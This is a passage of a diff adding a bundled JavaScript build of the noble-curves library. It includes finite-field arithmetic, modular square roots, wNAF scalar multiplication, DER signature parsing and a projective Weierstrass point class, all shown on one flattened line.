prettier-ignore + b = a, a = r, x = u, u = m; + } + const gcd = b; + if (gcd !== _1n$3) + throw new Error('invert: does not exist'); + return mod(x, modulo); + } + /** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ + function tonelliShanks(P) { + // Legendre constant: used to calculate Legendre symbol (a | p), + // which denotes the value of a^((p-1)/2) (mod p). + // (a | p) ≡ 1 if a is a square (mod p) + // (a | p) ≡ -1 if a is not a square (mod p) + // (a | p) ≡ 0 if a ≡ 0 (mod p) + const legendreC = (P - _1n$3) / _2n$1; + let Q, S, Z; + // Step 1: By factoring out powers of 2 from p - 1, + // find q and s such that p - 1 = q*(2^s) with q odd + for (Q = P - _1n$3, S = 0; Q % _2n$1 === _0n$2; Q /= _2n$1, S++) + ; + // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq + for (Z = _2n$1; Z < P && pow(Z, legendreC, P) !== P - _1n$3; Z++) + ; + // Fast-path + if (S === 1) { + const p1div4 = (P + _1n$3) / _4n; + return function tonelliFast(Fp, n) { + const root = Fp.pow(n, p1div4); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Slow-path + const Q1div2 = (Q + _1n$3) / _2n$1; + return function tonelliSlow(Fp, n) { + // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1 + if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE)) + throw new Error('Cannot find square root'); + let r = S; + // TODO: will fail at Fp2/etc + let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b + let x = Fp.pow(n, Q1div2); // first guess at the square root + let b = Fp.pow(n, Q); // first guess at the fudge factor + while (!Fp.eql(b, Fp.ONE)) { + if (Fp.eql(b, Fp.ZERO)) + return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0) + // Find m such b^(2^m)==1 + let m = 1; + for (let t2 = Fp.sqr(b); m < r; m++) { + if (Fp.eql(t2, Fp.ONE)) + break; + t2 = Fp.sqr(t2); // t2 *= t2 + } + // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow + const ge = Fp.pow(g, _1n$3 << BigInt(r - m - 1)); // ge = 2^(r-m-1) + g = Fp.sqr(ge); // g = ge * ge + x = Fp.mul(x, ge); // x *= ge + b = Fp.mul(b, g); // b *= g + r = m; + } + return x; + }; + } + function FpSqrt(P) { + // NOTE: different algorithms can give different roots, it is up to user to decide which one they want. + // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve). + // P ≡ 3 (mod 4) + // √n = n^((P+1)/4) + if (P % _4n === _3n$1) { + // Not all roots possible! + // const ORDER = + // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn; + // const NUM = 72057594037927816n; + const p1div4 = (P + _1n$3) / _4n; + return function sqrt3mod4(Fp, n) { + const root = Fp.pow(n, p1div4); + // Throw if root**2 != n + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10) + if (P % _8n === _5n) { + const c1 = (P - _5n) / _8n; + return function sqrt5mod8(Fp, n) { + const n2 = Fp.mul(n, _2n$1); + const v = Fp.pow(n2, c1); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n$1), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Other cases: Tonelli-Shanks algorithm + return tonelliShanks(P); + } + // prettier-ignore + const FIELD_FIELDS = [ + 'create', 'isValid', 'is0', 'neg', 'inv', 'sqrt', 'sqr', + 'eql', 'add', 'sub', 'mul', 'pow', 'div', + 'addN', 'subN', 'mulN', 'sqrN' + ]; + function validateField(field) { + const initial = { + ORDER: 'bigint', + MASK: 'bigint', + BYTES: 'isSafeInteger', + BITS: 'isSafeInteger', + }; + const opts = FIELD_FIELDS.reduce((map, val) => { + map[val] = 'function'; + return map; + }, initial); + return validateObject(field, opts); + } + // Generic field functions + /** + * Same as `pow` but for Fp: non-constant-time. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + */ + function FpPow(f, num, power) { + // Should have same speed as pow for bigints + // TODO: benchmark! + if (power < _0n$2) + throw new Error('Expected power > 0'); + if (power === _0n$2) + return f.ONE; + if (power === _1n$3) + return num; + let p = f.ONE; + let d = num; + while (power > _0n$2) { + if (power & _1n$3) + p = f.mul(p, d); + d = f.sqr(d); + power >>= _1n$3; + } + return p; + } + /** + * Efficiently invert an array of Field elements. + * `inv(0)` will return `undefined` here: make sure to throw an error. + */ + function FpInvertBatch(f, nums) { + const tmp = new Array(nums.length); + // Walk from first to last, multiply them by each other MOD p + const lastMultiplied = nums.reduce((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = acc; + return f.mul(acc, num); + }, f.ONE); + // Invert last element + const inverted = f.inv(lastMultiplied); + // Walk from last to first, multiply them by inverted each other MOD p + nums.reduceRight((acc, num, i) => { + if (f.is0(num)) + return acc; + tmp[i] = f.mul(acc, tmp[i]); + return f.mul(acc, num); + }, inverted); + return tmp; + } + // CURVE.n lengths + function nLength(n, nBitLength) { + // Bit size, byte size of CURVE.n + const _nBitLength = nBitLength !== undefined ? nBitLength : n.toString(2).length; + const nByteLength = Math.ceil(_nBitLength / 8); + return { nBitLength: _nBitLength, nByteLength }; + } + /** + * Initializes a finite field over prime. **Non-primes are not supported.** + * Do not init in loop: slow. Very fragile: always run a benchmark on a change. + * Major performance optimizations: + * * a) denormalized operations like mulN instead of mul + * * b) same object shape: never add or remove keys + * * c) Object.freeze + * @param ORDER prime positive bigint + * @param bitLen how many bits the field consumes + * @param isLE (def: false) if encoding / decoding should be in little-endian + * @param redef optional faster redefinitions of sqrt and other methods + */ + function Field(ORDER, bitLen, isLE = false, redef = {}) { + if (ORDER <= _0n$2) + throw new Error(`Expected Field ORDER > 0, got ${ORDER}`); + const { nBitLength: BITS, nByteLength: BYTES } = nLength(ORDER, bitLen); + if (BYTES > 2048) + throw new Error('Field lengths over 2048 bytes are not supported'); + const sqrtP = FpSqrt(ORDER); + const f = Object.freeze({ + ORDER, + BITS, + BYTES, + MASK: bitMask(BITS), + ZERO: _0n$2, + ONE: _1n$3, + create: (num) => mod(num, ORDER), + isValid: (num) => { + if (typeof num !== 'bigint') + throw new Error(`Invalid field element: expected bigint, got ${typeof num}`); + return _0n$2 <= num && num < ORDER; // 0 is valid element, but it's not invertible + }, + is0: (num) => num === _0n$2, + isOdd: (num) => (num & _1n$3) === _1n$3, + neg: (num) => mod(-num, ORDER), + eql: (lhs, rhs) => lhs === rhs, + sqr: (num) => mod(num * num, ORDER), + add: (lhs, rhs) => mod(lhs + rhs, ORDER), + sub: (lhs, rhs) => mod(lhs - rhs, ORDER), + mul: (lhs, rhs) => mod(lhs * rhs, ORDER), + pow: (num, power) => FpPow(f, num, power), + div: (lhs, rhs) => mod(lhs * invert(rhs, ORDER), ORDER), + // Same as above, but doesn't normalize + sqrN: (num) => num * num, + addN: (lhs, rhs) => lhs + rhs, + subN: (lhs, rhs) => lhs - rhs, + mulN: (lhs, rhs) => lhs * rhs, + inv: (num) => invert(num, ORDER), + sqrt: redef.sqrt || ((n) => sqrtP(f, n)), + invertBatch: (lst) => FpInvertBatch(f, lst), + // TODO: do we really need constant cmov? + // We don't have const-time bigints anyway, so probably will be not very useful + cmov: (a, b, c) => (c ? b : a), + toBytes: (num) => (isLE ? numberToBytesLE(num, BYTES) : numberToBytesBE(num, BYTES)), + fromBytes: (bytes) => { + if (bytes.length !== BYTES) + throw new Error(`Fp.fromBytes: expected ${BYTES}, got ${bytes.length}`); + return isLE ? bytesToNumberLE(bytes) : bytesToNumberBE(bytes); + }, + }); + return Object.freeze(f); + } + /** + * Returns total number of bytes consumed by the field element. + * For example, 32 bytes for usual 256-bit weierstrass curve. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of field + */ + function getFieldBytesLength(fieldOrder) { + if (typeof fieldOrder !== 'bigint') + throw new Error('field order must be bigint'); + const bitLength = fieldOrder.toString(2).length; + return Math.ceil(bitLength / 8); + } + /** + * Returns minimal amount of bytes that can be safely reduced + * by field order. + * Should be 2^-128 for 128-bit curve such as P256. + * @param fieldOrder number of field elements, usually CURVE.n + * @returns byte length of target hash + */ + function getMinHashLength(fieldOrder) { + const length = getFieldBytesLength(fieldOrder); + return length + Math.ceil(length / 2); + } + /** + * "Constant-time" private key generation utility. + * Can take (n + n/2) or more bytes of uniform input e.g. from CSPRNG or KDF + * and convert them into private scalar, with the modulo bias being negligible. + * Needs at least 48 bytes of input for 32-byte private key. + * https://research.kudelskisecurity.com/2020/07/28/the-definitive-guide-to-modulo-bias-and-how-to-avoid-it/ + * FIPS 186-5, A.2 https://csrc.nist.gov/publications/detail/fips/186/5/final + * RFC 9380, https://www.rfc-editor.org/rfc/rfc9380#section-5 + * @param hash hash output from SHA3 or a similar function + * @param groupOrder size of subgroup - (e.g. secp256k1.CURVE.n) + * @param isLE interpret hash bytes as LE num + * @returns valid private scalar + */ + function mapHashToField(key, fieldOrder, isLE = false) { + const len = key.length; + const fieldLen = getFieldBytesLength(fieldOrder); + const minLen = getMinHashLength(fieldOrder); + // No small numbers: need to understand bias story. No huge numbers: easier to detect JS timings. + if (len < 16 || len < minLen || len > 1024) + throw new Error(`expected ${minLen}-1024 bytes of input, got ${len}`); + const num = isLE ? bytesToNumberBE(key) : bytesToNumberLE(key); + // `mod(x, 11)` can sometimes produce 0. `mod(x, 10) + 1` is the same, but no 0 + const reduced = mod(num, fieldOrder - _1n$3) + _1n$3; + return isLE ? numberToBytesLE(reduced, fieldLen) : numberToBytesBE(reduced, fieldLen); + } + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // Abelian group utilities + const _0n$1 = BigInt(0); + const _1n$2 = BigInt(1); + // Elliptic curve multiplication of Point by scalar. Fragile. + // Scalars should always be less than curve order: this should be checked inside of a curve itself. + // Creates precomputation tables for fast multiplication: + // - private scalar is split by fixed size windows of W bits + // - every window point is collected from window's table & added to accumulator + // - since windows are different, same point inside tables won't be accessed more than once per calc + // - each multiplication is 'Math.ceil(CURVE_ORDER / 𝑊) + 1' point additions (fixed for any scalar) + // - +1 window is neccessary for wNAF + // - wNAF reduces table size: 2x less memory + 2x faster generation, but 10% slower multiplication + // TODO: Research returning 2d JS array of windows, instead of a single window. This would allow + // windows to be in different memory locations + function wNAF(c, bits) { + const constTimeNegate = (condition, item) => { + const neg = item.negate(); + return condition ? neg : item; + }; + const opts = (W) => { + const windows = Math.ceil(bits / W) + 1; // +1, because + const windowSize = 2 ** (W - 1); // -1 because we skip zero + return { windows, windowSize }; + }; + return { + constTimeNegate, + // non-const time multiplication ladder + unsafeLadder(elm, n) { + let p = c.ZERO; + let d = elm; + while (n > _0n$1) { + if (n & _1n$2) + p = p.add(d); + d = d.double(); + n >>= _1n$2; + } + return p; + }, + /** + * Creates a wNAF precomputation window. Used for caching. + * Default window size is set by `utils.precompute()` and is equal to 8. + * Number of precomputed points depends on the curve size: + * 2^(𝑊−1) * (Math.ceil(𝑛 / 𝑊) + 1), where: + * - 𝑊 is the window size + * - 𝑛 is the bitlength of the curve order. + * For a 256-bit curve and window size 8, the number of precomputed points is 128 * 33 = 4224. + * @returns precomputed point tables flattened to a single array + */ + precomputeWindow(elm, W) { + const { windows, windowSize } = opts(W); + const points = []; + let p = elm; + let base = p; + for (let window = 0; window < windows; window++) { + base = p; + points.push(base); + // =1, because we skip zero + for (let i = 1; i < windowSize; i++) { + base = base.add(p); + points.push(base); + } + p = base.double(); + } + return points; + }, + /** + * Implements ec multiplication using precomputed tables and w-ary non-adjacent form. + * @param W window size + * @param precomputes precomputed tables + * @param n scalar (we don't check here, but should be less than curve order) + * @returns real and fake (for const-time) points + */ + wNAF(W, precomputes, n) { + // TODO: maybe check that scalar is less than group order? wNAF behavious is undefined otherwise + // But need to carefully remove other checks before wNAF. ORDER == bits here + const { windows, windowSize } = opts(W); + let p = c.ZERO; + let f = c.BASE; + const mask = BigInt(2 ** W - 1); // Create mask with W ones: 0b1111 for W=4 etc. + const maxNumber = 2 ** W; + const shiftBy = BigInt(W); + for (let window = 0; window < windows; window++) { + const offset = window * windowSize; + // Extract W bits. + let wbits = Number(n & mask); + // Shift number by W bits. + n >>= shiftBy; + // If the bits are bigger than max size, we'll split those. + // +224 => 256 - 32 + if (wbits > windowSize) { + wbits -= maxNumber; + n += _1n$2; + } + // This code was first written with assumption that 'f' and 'p' will never be infinity point: + // since each addition is multiplied by 2 ** W, it cannot cancel each other. However, + // there is negate now: it is possible that negated element from low value + // would be the same as high element, which will create carry into next window. + // It's not obvious how this can fail, but still worth investigating later. + // Check if we're onto Zero point. + // Add random point inside current window to f. + const offset1 = offset; + const offset2 = offset + Math.abs(wbits) - 1; // -1 because we skip zero + const cond1 = window % 2 !== 0; + const cond2 = wbits < 0; + if (wbits === 0) { + // The most important part for const-time getPublicKey + f = f.add(constTimeNegate(cond1, precomputes[offset1])); + } + else { + p = p.add(constTimeNegate(cond2, precomputes[offset2])); + } + } + // JIT-compiler should not eliminate f here, since it will later be used in normalizeZ() + // Even if the variable is still unused, there are some checks which will + // throw an exception, so compiler needs to prove they won't happen, which is hard. + // At this point there is a way to F be infinity-point even if p is not, + // which makes it less const-time: around 1 bigint multiply. + return { p, f }; + }, + wNAFCached(P, precomputesMap, n, transform) { + // @ts-ignore + const W = P._WINDOW_SIZE || 1; + // Calculate precomputes on a first run, reuse them after + let comp = precomputesMap.get(P); + if (!comp) { + comp = this.precomputeWindow(P, W); + if (W !== 1) { + precomputesMap.set(P, transform(comp)); + } + } + return this.wNAF(W, comp, n); + }, + }; + } + function validateBasic(curve) { + validateField(curve.Fp); + validateObject(curve, { + n: 'bigint', + h: 'bigint', + Gx: 'field', + Gy: 'field', + }, { + nBitLength: 'isSafeInteger', + nByteLength: 'isSafeInteger', + }); + // Set defaults + return Object.freeze({ + ...nLength(curve.n, curve.nBitLength), + ...curve, + ...{ p: curve.Fp.ORDER }, + }); + } + + /*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ + // Short Weierstrass curve. The formula is: y² = x³ + ax + b + function validatePointOpts(curve) { + const opts = validateBasic(curve); + validateObject(opts, { + a: 'field', + b: 'field', + }, { + allowedPrivateKeyLengths: 'array', + wrapPrivateKey: 'boolean', + isTorsionFree: 'function', + clearCofactor: 'function', + allowInfinityPoint: 'boolean', + fromBytes: 'function', + toBytes: 'function', + }); + const { endo, Fp, a } = opts; + if (endo) { + if (!Fp.eql(a, Fp.ZERO)) { + throw new Error('Endomorphism can only be defined for Koblitz curves that have a=0'); + } + if (typeof endo !== 'object' || + typeof endo.beta !== 'bigint' || + typeof endo.splitScalar !== 'function') { + throw new Error('Expected endomorphism with beta: bigint and splitScalar: function'); + } + } + return Object.freeze({ ...opts }); + } + // ASN.1 DER encoding utilities + const { bytesToNumberBE: b2n, hexToBytes: h2b } = ut; + const DER = { + // asn.1 DER encoding utils + Err: class DERErr extends Error { + constructor(m = '') { + super(m); + } + }, + _parseInt(data) { + const { Err: E } = DER; + if (data.length < 2 || data[0] !== 0x02) + throw new E('Invalid signature integer tag'); + const len = data[1]; + const res = data.subarray(2, len + 2); + if (!len || res.length !== len) + throw new E('Invalid signature integer: wrong length'); + // https://crypto.stackexchange.com/a/57734 Leftmost bit of first byte is 'negative' flag, + // since we always use positive integers here. It must always be empty: + // - add zero byte if exists + // - if next byte doesn't have a flag, leading zero is not allowed (minimal encoding) + if (res[0] & 0b10000000) + throw new E('Invalid signature integer: negative'); + if (res[0] === 0x00 && !(res[1] & 0b10000000)) + throw new E('Invalid signature integer: unnecessary leading zero'); + return { d: b2n(res), l: data.subarray(len + 2) }; // d is data, l is left + }, + toSig(hex) { + // parse DER signature + const { Err: E } = DER; + const data = typeof hex === 'string' ? h2b(hex) : hex; + if (!(data instanceof Uint8Array)) + throw new Error('ui8a expected'); + let l = data.length; + if (l < 2 || data[0] != 0x30) + throw new E('Invalid signature tag'); + if (data[1] !== l - 2) + throw new E('Invalid signature: incorrect length'); + const { d: r, l: sBytes } = DER._parseInt(data.subarray(2)); + const { d: s, l: rBytesLeft } = DER._parseInt(sBytes); + if (rBytesLeft.length) + throw new E('Invalid signature: left bytes after parsing'); + return { r, s }; + }, + hexFromSig(sig) { + // Add leading zero if first byte has negative bit enabled. More details in '_parseInt' + const slice = (s) => (Number.parseInt(s[0], 16) & 0b1000 ? '00' + s : s); + const h = (num) => { + const hex = num.toString(16); + return hex.length & 1 ? `0${hex}` : hex; + }; + const s = slice(h(sig.s)); + const r = slice(h(sig.r)); + const shl = s.length / 2; + const rhl = r.length / 2; + const sl = h(shl); + const rl = h(rhl); + return `30${h(rhl + shl + 4)}02${rl}${r}02${sl}${s}`; + }, + }; + // Be friendly to bad ECMAScript parsers by not using bigint literals + // prettier-ignore + const _0n = BigInt(0), _1n$1 = BigInt(1); BigInt(2); const _3n = BigInt(3); BigInt(4); + function weierstrassPoints(opts) { + const CURVE = validatePointOpts(opts); + const { Fp } = CURVE; // All curves has same field / group length as for now, but they can differ + const toBytes = CURVE.toBytes || + ((_c, point, _isCompressed) => { + const a = point.toAffine(); + return concatBytes(Uint8Array.from([0x04]), Fp.toBytes(a.x), Fp.toBytes(a.y)); + }); + const fromBytes = CURVE.fromBytes || + ((bytes) => { + // const head = bytes[0]; + const tail = bytes.subarray(1); + // if (head !== 0x04) throw new Error('Only non-compressed encoding is supported'); + const x = Fp.fromBytes(tail.subarray(0, Fp.BYTES)); + const y = Fp.fromBytes(tail.subarray(Fp.BYTES, 2 * Fp.BYTES)); + return { x, y }; + }); + /** + * y² = x³ + ax + b: Short weierstrass curve formula + * @returns y² + */ + function weierstrassEquation(x) { + const { a, b } = CURVE; + const x2 = Fp.sqr(x); // x * x + const x3 = Fp.mul(x2, x); // x2 * x + return Fp.add(Fp.add(x3, Fp.mul(x, a)), b); // x3 + a * x + b + } + // Validate whether the passed curve params are valid. + // We check if curve equation works for generator point. + // `assertValidity()` won't work: `isTorsionFree()` is not available at this point in bls12-381. + // ProjectivePoint class has not been initialized yet. + if (!Fp.eql(Fp.sqr(CURVE.Gy), weierstrassEquation(CURVE.Gx))) + throw new Error('bad generator point: equation left != right'); + // Valid group elements reside in range 1..n-1 + function isWithinCurveOrder(num) { + return typeof num === 'bigint' && _0n < num && num < CURVE.n; + } + function assertGE(num) { + if (!isWithinCurveOrder(num)) + throw new Error('Expected valid bigint: 0 < bigint < curve.n'); + } + // Validates if priv key is valid and converts it to bigint. + // Supports options allowedPrivateKeyLengths and wrapPrivateKey. + function normPrivateKeyToScalar(key) { + const { allowedPrivateKeyLengths: lengths, nByteLength, wrapPrivateKey, n } = CURVE; + if (lengths && typeof key !== 'bigint') { + if (key instanceof Uint8Array) + key = bytesToHex(key); + // Normalize to hex string, pad. E.g. P521 would norm 130-132 char hex to 132-char bytes + if (typeof key !== 'string' || !lengths.includes(key.length)) + throw new Error('Invalid key'); + key = key.padStart(nByteLength * 2, '0'); + } + let num; + try { + num = + typeof key === 'bigint' + ? key + : bytesToNumberBE(ensureBytes('private key', key, nByteLength)); + } + catch (error) { + throw new Error(`private key must be ${nByteLength} bytes, hex or bigint, not ${typeof key}`); + } + if (wrapPrivateKey) + num = mod(num, n); // disabled by default, enabled for BLS + assertGE(num); // num in range [1..N-1] + return num; + } + const pointPrecomputes = new Map(); + function assertPrjPoint(other) { + if (!(other instanceof Point)) + throw new Error('ProjectivePoint expected'); + } + /** + * Projective Point works in 3d / projective (homogeneous) coordinates: (x, y, z) ∋ (x=x/z, y=y/z) + * Default Point works in 2d / affine coordinates: (x, y) + * We're doing calculations in projective, because its operations don't require costly inversion. + */ + class Point { + constructor(px, py, pz) { + this.px = px; + this.py = py; + this.pz = pz; + if (px == null || !Fp.isValid(px)) + throw new Error('x required'); + if (py == null || !Fp.isValid(py)) + throw new Error('y required'); + if (pz == null || !Fp.isValid(pz)) + throw new Error('z required'); + } + // Does not validate if the point is on-curve. + // Use fromHex instead, or call assertValidity() later. + static fromAffine(p) { + const { x, y } = p || {}; + if (!p || !Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('invalid affine point'); + if (p instanceof Point) + throw new Error('projective point not allowed'); + const is0 = (i) => Fp.eql(i, Fp.ZERO); + // fromAffine(x:0, y:0) would produce (x:0, y:0, z:1), but we need (x:0, y:1, z:0) + if (is0(x) && is0(y)) + return Point.ZERO; + return new Point(x, y, Fp.ONE); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + /** + * Takes a bunch of Projective Points but executes only one + * inversion on all of them. Inversion is very slow operation, + * so this improves performance massively. + * Optimization: converts a list of projective points to a list of identical points with Z=1. + */ + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.pz)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + /** + * Converts hash string or Uint8Array to Point. + * @param hex short/long ECDSA hex + */ + static fromHex(hex) { + const P = Point.fromAffine(fromBytes(ensureBytes('pointHex', hex))); + P.assertValidity(); + return P; + } + // Multiplies generator point by privateKey. + static fromPrivateKey(privateKey) { + return Point.BASE.multiply(normPrivateKeyToScalar(privateKey)); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // A point on curve is valid if it conforms to equation. + assertValidity() { + if (this.is0()) { + // (0, 1, 0) aka ZERO is invalid in most contexts. + // In BLS, ZERO can be serialized, so we allow it. + // (0, 0, 0) is wrong representation of ZERO and is always invalid. + if (CURVE.allowInfinityPoint && !Fp.is0(this.py)) + return; + throw new Error('bad point: ZERO'); + } + // Some 3rd-party test vectors require different wording between here & `fromCompressedHex` + const { x, y } = this.toAffine(); + // Check if x, y are valid field elements + if (!Fp.isValid(x) || !Fp.isValid(y)) + throw new Error('bad point: x or y not FE'); + const left = Fp.sqr(y); // y² + const right = weierstrassEquation(x); // x³ + ax + b + if (!Fp.eql(left, right)) + throw new Error('bad point: equation left != right'); + if (!this.isTorsionFree()) + throw new Error('bad point: not in prime-order subgroup'); + } + hasEvenY() { + const { y } = this.toAffine(); + if (Fp.isOdd) + return !Fp.isOdd(y); + throw new Error("Field doesn't support isOdd"); + } + /** + * Compare one point to another. + */ + equals(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + const U1 = Fp.eql(Fp.mul(X1, Z2), Fp.mul(X2, Z1)); + const U2 = Fp.eql(Fp.mul(Y1, Z2), Fp.mul(Y2, Z1)); + return U1 && U2; + } + /** + * Flips point to one corresponding to (x, -y) in Affine coordinates. + */ + negate() { + return new Point(this.px, Fp.neg(this.py), this.pz); + } + // Renes-Costello-Batina exception-free doubling formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 3 + // Cost: 8M + 3S + 3*a + 2*b3 + 15add. + double() { + const { a, b } = CURVE; + const b3 = Fp.mul(b, _3n); + const { px: X1, py: Y1, pz: Z1 } = this; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + let t0 = Fp.mul(X1, X1); // step 1 + let t1 = Fp.mul(Y1, Y1); + let t2 = Fp.mul(Z1, Z1); + let t3 = Fp.mul(X1, Y1); + t3 = Fp.add(t3, t3); // step 5 + Z3 = Fp.mul(X1, Z1); + Z3 = Fp.add(Z3, Z3); + X3 = Fp.mul(a, Z3); + Y3 = Fp.mul(b3, t2); + Y3 = Fp.add(X3, Y3); // step 10 + X3 = Fp.sub(t1, Y3); + Y3 = Fp.add(t1, Y3); + Y3 = Fp.mul(X3, Y3); + X3 = Fp.mul(t3, X3); + Z3 = Fp.mul(b3, Z3); // step 15 + t2 = Fp.mul(a, t2); + t3 = Fp.sub(t0, t2); + t3 = Fp.mul(a, t3); + t3 = Fp.add(t3, Z3); + Z3 = Fp.add(t0, t0); // step 20 + t0 = Fp.add(Z3, t0); + t0 = Fp.add(t0, t2); + t0 = Fp.mul(t0, t3); + Y3 = Fp.add(Y3, t0); + t2 = Fp.mul(Y1, Z1); // step 25 + t2 = Fp.add(t2, t2); + t0 = Fp.mul(t2, t3); + X3 = Fp.sub(X3, t0); + Z3 = Fp.mul(t2, t1); + Z3 = Fp.add(Z3, Z3); // step 30 + Z3 = Fp.add(Z3, Z3); + return new Point(X3, Y3, Z3); + } + // Renes-Costello-Batina exception-free addition formula. + // There is 30% faster Jacobian formula, but it is not complete. + // https://eprint.iacr.org/2015/1060, algorithm 1 + // Cost: 12M + 0S + 3*a + 3*b3 + 23add. + add(other) { + assertPrjPoint(other); + const { px: X1, py: Y1, pz: Z1 } = this; + const { px: X2, py: Y2, pz: Z2 } = other; + let X3 = Fp.ZERO, Y3 = Fp.ZERO, Z3 = Fp.ZERO; // prettier-ignore + const a = CURVE.a; + const b3 = Fp.mul(CURVE.b, _3n); + let t0 = Fp.mul(X1, X2); // step 1 + let t1 = Fp.mul(Y1, Y2); + let t2 = Fp.mul(Z1, Z2); + let t3 = Fp.add(X1, Y1); + let t4 = Fp.add(X2, Y2); // step 5 + t3 = Fp.mul(t3, t4); + t4 = Fp.add(t0, t1); + t3 = Fp.sub(t3, t4); + t4 = Fp.add(X1, Z1); + let t5 = Fp.add(X2, Z2); // step 10 + t4 = Fp.mul(t4, t5); + t5 = Fp.add(t0, t2); + t4 = Fp.sub(t4, t5); + t5 = Fp.add(Y1, Z1); + X3 = Fp.add(Y2, Z2); // step 15 + t5 = Fp.mul(t5, X3); + X3 = Fp.add(t1, t2); + t5 = Fp.sub(t5, X3); + Z3 = Fp.mul(a, t4); + X3 = Fp.mul(b3, t2); // step 20 + Z3 = Fp.add(X3, Z3); + X3 = Fp.sub(t1, Z3); + Z3 = Fp.add(t1, Z3); + Y3 = Fp.mul(X3, Z3); + t1 = Fp.add(t0, t0); // step 25 + t1 = Fp.add(t1, t0); + t2 = Fp.mul(a, t2); + t4 = Fp.mul(b3, t4); + t1 = Fp.add(t1, t2); + t2 = Fp.sub(t0, t2); // step 30 + t2 = Fp.mul(a, t2); + t4 = Fp.add(t4, t2); + t0 = Fp.mul(t1, t4); + Y3 = Fp.add(Y3, t0); + t0 = Fp.mul(t5, t4); // step 35 + X3 = Fp.mul(t3, X3); + X3 = Fp.sub(X3, t0); + t0 = Fp.mul(t3, t1); + Z3 = Fp.mul(t5, Z3); + Z3 = Fp.add(Z3, t0); // step 40 + return new Point(X3, Y3, Z3); + } + subtract(other) { + return this.add(other.negate()); + } + is0() { + return this.equals(Point.ZERO); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, (comp) => { + const toInv = Fp.invertBatch(comp.map((p) => p.pz)); + return comp.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + }); + } + /** + * Non-constant-time multiplication. Uses double-and-add algorithm. + * It's faster, but should only be used when you don't care about + * an exposed private key e.g. sig verification, which works over *public* keys. + */ + multiplyUnsafe(n) { + const I = Point.ZERO; + if (n === _0n) + return I; + assertGE(n); // Will throw on 0 + if (n === _1n$1) + return this; + const { endo } = CURVE; + if (!endo) + return wnaf.unsafeLadder(this, n); + // Apply endomorphism + let { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let k1p = I; + let k2p = I; + let d = this; + while (k1 > _0n || k2 > _0n) { + if (k1 & _1n$1) + k1p = k1p.add(d); + if (k2 & _1n$1) + k2p = k2p.add(d); + d = d.double(); + k1 >>= _1n$1; + k2 >>= _1n$1; + } + if (k1neg) + k1p = k1p.negate(); + if (k2neg) + k2p = k2p.negate(); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + return k1p.add(k2p); + } + /** + * Constant time multiplication. + * Uses wNAF method. Windowed method may be 10% faster, + * but takes 2x longer to generate and consumes 2x memory. + * Uses precomputes when available. + * Uses endomorphism for Koblitz curves. + * @param scalar by which the point would be multiplied + * @returns New point + */ + multiply(scalar) { + assertGE(scalar); + let n = scalar; + let point, fake; // Fake point is used to const-time mult + const { endo } = CURVE; + if (endo) { + const { k1neg, k1, k2neg, k2 } = endo.splitScalar(n); + let { p: k1p, f: f1p } = this.wNAF(k1); + let { p: k2p, f: f2p } = this.wNAF(k2); + k1p = wnaf.constTimeNegate(k1neg, k1p); + k2p = wnaf.constTimeNegate(k2neg, k2p); + k2p = new Point(Fp.mul(k2p.px, endo.beta), k2p.py, k2p.pz); + point = k1p.add(k2p); + fake = f1p.add(f2p); + } + else { + const { p, f } = this.wNAF(n); + point = p; + fake = f; + } + // Normalize `z` for both points, but return only real one + return Point.normalizeZ([point, fake])[0]; + } + /** + * Efficiently calculate `aP + bQ`. Unsafe, can expose private key, if used incorrectly. + * Not using Strauss-Shamir trick: precomputation tables are faster. + * The trick could be useful if both P and Q are not G (not in our case). + * @returns non-zero affine point + */ + multiplyAndAddUnsafe(Q, a, b) { + const G = Point.BASE; // No Strauss-Shamir trick: we have 10% faster G precomputes + const mul = (P, a // Select faster multiply() method + ) => (a === _0n || a === _1n$1 || !P.equals(G) ? P.multiplyUnsafe(a) : P.multiply(a)); + const sum = mul(this, a).add(mul(Q, b)); + return sum.is0() ? undefined : sum; + } + // Converts Projective point to affine 